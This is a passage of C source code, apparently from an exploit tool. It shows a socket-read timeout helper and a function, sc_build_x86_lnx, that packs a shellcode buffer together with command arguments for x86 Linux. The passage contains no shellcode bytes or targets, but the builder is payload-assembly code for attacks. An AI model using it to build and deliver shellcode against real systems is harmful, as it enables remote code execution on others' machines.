	tv.tv_sec = sec;
	tv.tv_usec = 0;

	/* now we wait until more data is received then the tcp low level
	 * watermark, which should be setted to 1 in this case (1 is default)
	 */
	n = select(fd + 1, &rset, NULL, NULL, &tv);
	if (n == 0) {
		n = fcntl(fd, F_SETFL, flags);
		if (n == -1)
			return (-1);
		errno = ETIMEDOUT;
		return (-1);
	}
	if (n == -1) {
		return (-1);
	}
	/* socket readable ? */
	if (FD_ISSET(fd, &rset)) {
		n = fcntl(fd, F_SETFL, flags);
		if (n == -1)
			return (-1);
		return (1);
	} else {
		n = fcntl(fd, F_SETFL, flags);
		if (n == -1)
			return (-1);
		errno = ETIMEDOUT;
		return (-1);
	}
}


static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
	unsigned char *shellcode, char **argv)
{
	int	i;
	size_t	tl_orig = target_len;


	if (strlen (shellcode) >= (target_len - 1))
		return (-1);

	memcpy (target, shellcode, strlen (shellcode));
	target += strlen (shellcode);
	target_len -= strlen (shellcode);

	for (i = 0 ; argv[i] != NULL ; ++i)
		;

	/* set argument count
	 */
	target[0] = (unsigned char) i;
	target++;
	target_len--;

	for ( ; i > 0 ; ) {
		i -= 1;

		if (strlen (argv[i]) >= target_len)
			return (-1);

		printf ("[%3d/%3d] adding (%2d): %s\n",
			(tl_orig - target_len), tl_orig,
			strlen (argv[i]), argv[i]);

		memcpy (target, argv[i], strlen (argv[i]));
		target += strlen (argv[i]);
		target_len -= strlen (argv[i]);

		target[0] = (unsigned char) (i + 1);
		target++;
		target_len -= 1;
	}

	return (tl_orig - target_len);
}